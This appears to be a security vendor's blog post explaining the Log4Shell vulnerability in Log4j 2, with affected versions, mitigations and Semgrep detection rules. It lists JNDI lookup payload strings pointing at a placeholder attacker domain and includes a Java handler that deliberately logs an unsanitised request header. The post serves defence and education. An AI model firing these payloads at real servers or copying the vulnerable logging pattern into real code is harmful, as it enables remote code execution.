Understanding and mitigating the Log4Shell vulnerability

A guide to determining exposure and mitigation of the vulnerability in Log4j

Vasilii Ermilov
December 16th, 2021
Share

What is Log4Shell? CVE-2021-44228, also known as Log4Shell, is a remote code execution vulnerability in the Log4j 2 library. Log4j 2 is the most popular logging framework for the Java programming language. The Log4j vulnerability was found by the Alibaba cloud security team in November and the CVE was released on December 10, 2021. Later the extra DoS vector was described in CVE-2021-45046.

Log4j supports the lookup feature, which provides a way to add values to the Log4j configuration in arbitrary places. For example, you can insert the current Java version to the log message by adding ${java:version} to it. If user-supplied data is provided to its logging methods, that can also be interpreted as a lookup.

One of the available lookups is JNDI or Java Naming and Directory Interface. It is a Java API that allows clients to discover data by name through different protocols, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).

The source of the problem is that the JNDI lookup does not protect against queries to attacker-controlled endpoints. If an attacker can force a JNDI lookup to a malicious endpoint it can end up in a Java deserialization vulnerability, which can then lead to remote code execution.

Payload examples:

  • ${jndi:ldap://attackers-domain.com}

  • ${jndi:ldaps://attackers-domain.com}

  • ${jndi:rmi://attackers-domain.com}

  • ${jndi:dns://attackers-domain.com}

Technically Log4Shell is a typical example of a JNDI injection vulnerability, but what makes this case special is that Log4j2 is a widely used library (close to 7,000 Maven packages depend on it) and there is a high chance that user input will be passed to a log message. On top of that, JNDI injection attack vectors are not limited to exploiting Java deserialization bugs, exploits may vary and there are definitely more to come in the future.

References

Conditions for exploitation

  • Affected versions are: all versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.14.1 (log4j-core dependency in Maven / Gradle)

  • JRE/JDK versions older than 6u211, 7u201, 8u191, 11.0.1 have the JVM property com.sun.jndi.ldap.object.trustURLCodebase that allows loading classes from arbitrary endpoints set to true by default (despite the fact that it does not protect from all possible attacks, it is still highly recommended to bump the version of Java)

Vulnerable code

log4j's Logger instance has numerous methods such as info, debug and error intended for logging events. Letting user-supplied data into one of these methods can create an opportunity for a Log4Shell vulnerability.

import org.apache.log4j.Logger;
import org.apache.log4j.LogManager;
import java.io.*;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(log4jExample.class.getName());

  public void handle(HttpExchange he) throws IOException {
    String userInput = he.getRequestHeader("some-header");

    // vulnerable
    log.info("Request User Agent:" + userInput);
  }

}

Mitigations

Upgrade the library to the new versions:

Java 8 (or later) users should upgrade to release 2.16.0. <br/> Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
See: https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228

Remove JndiLookup from classpath

Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
See: https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228

Disable message lookups:

Other insufficient mitigation measures are: setting system property log4j2.formatMsgNoLookups or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true for releases >= 2.10, or modifying the logging configuration to disable message lookups with %m{nolookups}, %msg{nolookups} or %message{nolookups} for releases >= 2.7 and <= 2.14.1.
See: https://logging.apache.org/log4j/2.x/security.html#CVE-2021-45046

New community-powered rules

Very soon after this issue came to light, members of the Semgrep community began working on code scanning rules to audit code for potential exposure to the Log4j vulnerability. We must give a huge shoutout to Kurt (@lapt0r) and Lewis (@LewisArdern) for collaborating on and sharing their Semgrep rules already on the afternoon of December 9th. This really highlights the strength of Semgrep’s collaborative community 💜

Collaborating with @LewisArdern has improved the #log4j @semgrep rules *substantially*. We've come up with a pair of rules leveraging constant propagation that cover most cases with improved performance:

https://semgrep.dev/s/chegg:log4j_delayed_logger_instantiation

https://semgrep.dev/s/chegg:log4j_inline_logger_instantiation

https://twitter.com/lapt0r/status/1469160133737340932

The Log4j RCE is very... bad. A few people are looking to write semgrep rules for this, here's a starting point to see how many instances are in your code bases https://semgrep.dev/s/8gGg

https://twitter.com/LewisArdern/status/1469135782002651139

Use this rule from Kurt and Lewis to scan your code for potential Log4Shell vulnerabilities or as a starting point for writing your own custom Semgrep rule: https://semgrep.dev/s/chegg:log4j2_tainted_argument

semgrep --config s/chegg:log4j2_tainted_argument

About

Semgrep lets security teams partner with developers and shift left organically, without introducing friction. Semgrep gives security teams confidence that they are only surfacing true, actionable issues to developers, and makes it easy for developers to fix these issues in their existing environments.